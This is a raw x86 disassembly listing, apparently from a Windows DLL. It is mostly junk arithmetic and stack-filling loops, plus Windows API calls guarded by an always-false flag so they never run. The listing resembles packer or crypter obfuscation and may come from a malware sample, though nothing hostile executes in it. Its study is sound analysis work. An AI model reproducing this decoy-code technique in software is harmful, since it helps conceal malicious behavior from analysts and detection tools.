mov dword [ebp - 0x24], 0xa4ccfd6
xor ecx, ecx
mov eax, dword [ebp - 0x20]
push 1
mov eax, dword [ebp + eax*4 - 0x168]
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x168]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x168]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], 3
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x20]
setle dl
mov dword [ebp + eax*4 - 0x168], ecx
mov eax, dword [ebp - 0x20]
add eax, edx
add eax, ecx
imul eax, dword [ebp - 0x2c]
pop ecx
sub eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x1003183c
xor eax, eax
cmp dword [ebp - 0x160], eax
je 0x10031916
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
imul eax, edx, 0x16e1
test eax, eax
je 0x10031914
xor edx, edx
inc edx
mov ecx, edx
jmp 0x1003191b
xor eax, eax
xor edx, edx
mov ecx, eax
inc edx
mov eax, dword [ebp - 0x20]
sub eax, ecx
xor ecx, ecx
cmp eax, 0xf7fa
setl cl
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x164]
sub ecx, eax
mov eax, dword [ebp - 0x30]
sub ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x7342
mov eax, dword [ebp - 0x2c]
setl cl
sub eax, ecx
cmp eax, 0x7fcf6239
jne 0x10031975
mov dword [ebp - 0x50], 0x3ad33dc2
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x3c], eax
jmp 0x10031a5d
mov dword [ebp - 0x28], 0x59a1248f
mov dword [ebp - 0x28], 0x7f4763cd
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x14], 0xb48eda29
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x100319b4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x45c], 0x7b094c6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003199b
xor eax, eax
cmp dword [ebp - 0x458], eax
je 0x10031a5a
mov eax, dword [ebp - 0x5a4]
dec dword [ebp - 0x5a4]
test eax, eax
je 0x10031a58
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x168]
neg eax
sbb eax, eax
neg eax
imul ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10031a04
cmp dword [ebp - 0x458], eax
je 0x10031a06
mov eax, edx
mov dword [ebp - 0x28], eax
xor edx, edx
mov ecx, dword [ebp - 0x45c]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setle dl
mov dword [ebp - 0x45c], edx
mov eax, dword [ebp - 0x14]
lea ecx, [edx - 9]
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, dword [ebp - 0x14]
jle 0x10031a3d
cmp dword [ebp - 0x30], eax
je 0x10031a3d
lea edx, [eax + 1]
jmp 0x10031a3f
mov edx, eax
mov eax, dword [ebp - 0x5b0]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
add eax, ecx
je 0x10031a58
xor eax, eax
inc eax
jmp 0x10031a5a
xor eax, eax
mov dword [ebp - 0x2c], eax
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031a79
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031a8b
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
xor eax, eax
xor edx, edx
or ecx, 0xffffffff
mov dword [ebp - 0x30], ecx
inc edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10031abc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x974], 0x3198a8f9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10031aa3
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x10031adc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x30c], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031ac4
xor eax, eax
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], eax
jl 0x10031b07
mov dword [ebp - 0x34], 0x6dd8
mov dword [ebp - 0x34], 0xd00693e9
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x30c]
dec dword [ebp - 0x30]
jns 0x10031ae4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x10031b6e
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031b2d
push 0x233
push eax
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
xor edx, edx
xor eax, eax
inc edx
or ecx, 0xffffffff
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], eax
jl 0x10031b69
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
jg 0x10031b64
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x974]
mov eax, dword [ebp - 0x30]
add ecx, dword [ebp + eax*4 - 0x974]
mov dword [ebp - 0x50], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jle 0x10031b40
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x30]
jns 0x10031b35
dec dword [ebp - 0x28]
jns 0x10031b0f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10031b90
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x10d4], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10031b77
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], 0x6c0e263
mov dword [ebp - 0x18], 0xb4983ca3
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xc
jge 0x10031d8f
jmp 0x10031bb3
or ecx, 0xffffffff
mov dword [ebp - 0x30], 0xa12b57e8
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 9
jne 0x10031d82
jmp 0x10031bd3
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xffffffe6
jmp 0x10031c38
mov dword [ebp - 0x54], 0x2c9cc141
mov dword [ebp - 0x54], 9
cmp dword [ebp - 0x54], 0x11
jl 0x10031c0e
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0x11
jge 0x10031bfa
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xfffffff4
jle 0x10031c35
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031c29
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
xor eax, eax
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xfffffff4
jg 0x10031c17
xor edx, edx
inc edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x10031be6
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
add edx, 0x4adca19c
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, edx
jge 0x10031c97
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031d6f
push 0xda8
push eax
push 0x50c
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
jmp 0x10031d6f
or eax, 0xffffffff
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x28], 0xb0f4f2d8
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0xa8c], eax
mov dword [ebp - 0xa88], eax
mov dword [ebp - 0xa84], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10031cd0
cmp dword [ebp - 0x18], eax
jne 0x10031cda
cmp dword [ebp - 0x30], eax
jne 0x10031cda
xor ecx, ecx
inc ecx
jmp 0x10031cdf
xor ecx, ecx
inc ecx
mov eax, ecx
neg eax
jne 0x10031cea
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10031cec
mov eax, ecx
add eax, 8
xor edx, edx
imul eax, dword [ebp - 0x18]
imul ecx, eax, 0x5f7f
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x1c]
test edx, edx
jne 0x10031d1a
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10031d1a
cmp dword [ebp - 0x2c], eax
jne 0x10031d1a
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x10031d36
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x10031d4f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x24], eax
jle 0x10031d5c
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setge dl
mov dword [ebp - 0xa88], edx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 9
push 0
pop eax
push 1
pop edx
je 0x10031bd0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xc
jl 0x10031bb0
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0xfffffff9
cmp dword [ebp - 0x24], 0xffffffeb
je 0x10031dfc
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10031dd0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd94], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10031db7
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031dea
push eax
push eax
push 0x7ac
push 0x8c2
push eax
call edi
xor eax, eax
dec dword [ebp - 0xd90]
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
jne 0x10031dae
xor edx, edx
inc edx
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1003265a
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], 0x3f5047c4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
jge 0x10031e36
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe4], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10031e1e
xor eax, eax
mov dword [ebp - 0xe4], 0xfffffffb
cmp dword [ebp - 0xe4], 0xffffffe9
jg 0x10031e87
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031e75
push eax
call ebx
push eax
push 0x20fc
push 0x1703
push 0x1ad0
push 0x1d34
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_TrackPopupMenu]
xor eax, eax
dec dword [ebp - 0xe4]
cmp dword [ebp - 0xe4], 0xffffffe9
jle 0x10031e49
xor edx, edx
inc edx
inc dword [ebp - 0x28]
or ecx, 0xffffffff
mov dword [ebp - 0x4c], 0xf13b01d9
mov dword [ebp - 0x2c], 0x32fe2236
mov dword [ebp - 0x7d4], ecx
mov dword [ebp - 0x7d0], ecx
mov dword [ebp - 0x7cc], ecx
mov dword [ebp - 0x7c8], ecx
mov dword [ebp - 0x30], 0xd764ce34
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x10031edc
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd74], 0x9b55
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10031ec3
xor eax, eax
mov dword [ebp - 0x2c], 3
cmp dword [ebp - 0x2c], eax
jl 0x10031f9b
mov dword [ebp - 0x24], 0xf7a
cmp dword [ebp - 0x24], eax
jne 0x10031f27
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0xd74]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x7d4]
mov eax, dword [ebp - 0x7d4]
mov eax, dword [ebp - 0xd70]
cmp eax, 0xfffffffc
setne cl
cmp ecx, dword [ebp - 0x24]
jne 0x10031f27
xor eax, eax
jmp 0x10031f29
mov eax, edx
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x24], 3
cmp dword [ebp - 0x24], eax
jl 0x10031f8c
mov dword [ebp - 0x30], 3
cmp dword [ebp - 0x30], eax
jl 0x10031f7a
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031f75
push 0x1532
push 0xd53
push 0x142a
push 0xa53
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
xor eax, eax
dec dword [ebp - 0x30]
jns 0x10031f46
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031f87
call edi
xor eax, eax
dec dword [ebp - 0x24]
jns 0x10031f3a
dec dword [ebp - 0x2c]
push 0
pop eax
push 1
pop edx
jns 0x10031eec
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x10
jg 0x10032654
xor edi, edi
inc edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x58], 0xb1af
mov dword [ebp - 0x30], 0x20bab1f3
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10031fe1
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf0], 0xbea12209
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10031fc8
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], eax
jmp 0x1003224e
mov dword [ebp - 0x20], 0xb8ee41b
mov dword [ebp - 0x20], eax
jmp 0x10032242
mov dword [ebp - 0x1c], 0x8530de9b
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x34], 0xfffffffa
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x1003223a
mov dword [ebp - 0x14], edi
mov ecx, 0x94ad8a0f
mov dword [ebp - 0x700], ecx
mov dword [ebp - 0x6fc], ecx
mov dword [ebp - 0x6f8], ecx
mov dword [ebp - 0x6f4], ecx
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x24], eax
jmp 0x10032058
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x380], 0xa0b5bcdc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10032047
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0xf0]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
setge dl
sub edx, 5
sub ecx, edx
neg ecx
mov eax, dword [ebp + eax*4 - 0xf0]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0xf0]
setge dl
sub edx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xf0]
imul eax, edx
test eax, eax
je 0x100321de
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x100320c4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xfc0], 0xfccff5f9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x100320b3
inc dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x6f4]
je 0x10032102
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setg cl
sub eax, ecx
sub eax, dword [ebp - 0x20]
cmp eax, 0x84e2
je 0x10032102
mov edx, edi
jmp 0x10032106
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xf0]
cmp edx, eax
setne cl
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xf0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + eax*4 - 0xf0]
mov eax, dword [ebp - 0x380]
sub eax, dword [ebp - 0x20]
cmp edx, eax
setg cl
or eax, 0xffffffff
cmp ecx, eax
jne 0x10032171
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xf0], 0
jne 0x10032171
xor eax, eax
cmp dword [ebp - 0x380], eax
je 0x10032173
mov eax, edi
mov dword [ebp - 0xec], eax
cmp eax, dword [ebp - 0x20]
jg 0x10032189
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1003218b
mov edx, edi
jmp 0x1003218d
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x58]
sub edx, eax
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setge dl
xor eax, eax
cmp dword [ebp - 0x58], edx
jl 0x100321c2
cmp dword [ebp - 0x40], eax
je 0x100321c2
mov eax, edi
add eax, 0xffff700b
cmp eax, 8
sbb eax, eax
inc eax
cmp eax, 8
sbb eax, eax
inc eax
add eax, dword [ebp - 0x28]
mov dword [ebp - 0xfc0], eax
jmp 0x1003221a
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10032207
push eax
push 0x677
push eax
push 0x1411
push 0x1031
push eax
push 0xdd7
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003221c
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003222e
call ebx
push eax
call dword [sym.imp.USER32.dll_SetCapture]
dec dword [ebp - 0x1c]
push 0
pop eax
jns 0x1003201b
cmp dword [ebp - 0x30], eax
jne 0x1003224b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x10031ffb
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x23
jge 0x10031fec
push 7
pop ecx
mov dword [ebp - 0x7f4], ecx
mov dword [ebp - 0x7f0], ecx
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x7e8], ecx
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x5c4], ecx
mov dword [ebp - 0x5c0], ecx
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x5b8], ecx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x58], 0xd2dc0978
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x100322c1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd0], 0xac204e2d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100322a8
xor eax, eax
push 3
mov dword [ebp - 0x20], eax
pop edx
cmp dword [ebp - 0x20], edx
jge 0x100322e4
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x294], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x100322cc
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edx
jge 0x10032300
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xbbc], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x100322ec
xor eax, eax
push 4
mov dword [ebp - 0xd0], 0xffffffff
pop esi
jmp 0x1003242f
mov dword [ebp - 0x2c], 0x38bea122
mov dword [ebp - 0x2c], eax
jmp 0x100323f1
mov dword [ebp - 0x54], 0x8ee41b66
mov dword [ebp - 0x34], 0x948b0815
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x30], 0x2f34111d
mov dword [ebp - 0x54], eax
jmp 0x100323e5
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x34], 9
inc dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jg 0x100323e2
mov dword [ebp - 0x3c], 0x68dd2ac3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1003237f
push 0xfffffffffffffffd
pop ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5c4], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1003236d
mov eax, dword [ebp - 0x54]
cmp dword [ebp + eax*4 - 0x5c4], 0
jne 0x100323c6
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x5c4]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x294]
cmp dword [ebp - 0x2c], 0xca24a5db
jne 0x100323c6
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100323c6
mov ecx, eax
cmp dword [ebp - 0x3c], eax
je 0x100323c8
mov ecx, edi
mov eax, dword [ebp - 0x30]
push 0
mov dword [ebp + eax*4 - 0x294], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
pop eax
jle 0x1003235b
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], edx
jle 0x10032341
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jle 0x10032321
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10032429
push 0xce1
push eax
push 0x1968
push 0x144d
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push 3
xor eax, eax
pop edx
inc dword [ebp - 0xd0]
cmp dword [ebp - 0xd0], esi
jne 0x10032312
mov eax, dword [ebp - 0x290]
cmp dword [ebp - 0xd0], eax
jge 0x1003245f
xor eax, eax
cmp dword [ebp - 0x28c], eax
jne 0x1003245b
cmp dword [ebp - 0x5b8], eax
je 0x10032461
mov esi, edi
jmp 0x10032463
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
add eax, 0xbc8e845c
cmp eax, dword [ebp - 0x58]
jl 0x10032480
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x294], eax
je 0x10032482
mov ecx, edi
mov eax, dword [ebp - 0xd0]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xd0]
cmp ecx, eax
mov eax, dword [ebp - 0x294]
setl dl
xor ecx, ecx
imul eax, edx
cmp esi, eax
setg cl
cmp ecx, dword [ebp - 0xd0]
jne 0x100324cb
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x100324cd
mov eax, edi
cmp eax, dword [ebp - 0x290]
jne 0x100324d8
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x294]
xor ecx, ecx
mov eax, dword [ebp - 0xd0]
cmp eax, 0x19af
mov eax, dword [ebp - 0x58]
setle cl
add eax, ecx
je 0x10032503
xor eax, eax
cmp dword [ebp - 0xbbc], eax
je 0x10032505
mov edx, edi
jmp 0x10032507
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0xbbc]
xor ecx, ecx
cmp edx, eax
setge cl
or eax, 0xffffffff
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x30], 0xa60d0058
mov dword [ebp - 0x40], 0x89a9b8fa
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1003254e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xefc], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10032539
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x19
jg 0x10032626
mov dword [ebp - 0x54], 0xfffffff9
mov dword [ebp - 0x40], 0xa2c39d5b
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1003258c
mov ecx, 0xfffa
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xe0c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10032577
xor eax, eax
mov dword [ebp - 0x54], edi
jmp 0x100325ab
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100325a8
push 0x164c
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor eax, eax
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xffffffe8
jl 0x10032591
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
push 0
setge dl
xor ecx, ecx
add edx, dword [ebp - 0x54]
mov dword [ebp - 0xef4], edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, 0x5f4
setge cl
xor edx, edx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setge bl
xor ecx, ecx
cmp eax, ebx
setge cl
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xe0c], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x19
pop eax
jle 0x1003255b
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x7f0]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x7f0]
push 0xfffffffffffffff8
mov dword [ebp - 0x50], edi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x10
pop esi
push 0
pop eax
jle 0x10031fab
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
inc dword [ebp - 0x18]
push 1
pop edx
cmp dword [ebp - 0x18], 0x14
jle 0x10031e0c
mov esi, 0x95364446
mov ebx, 0x5bf25cbd
mov dword [ebp - 0x24], esi
mov edx, 0x2891ba8
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x18], eax
jmp 0x10032692
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x10a4], 0
inc dword [ebp - 0x18]
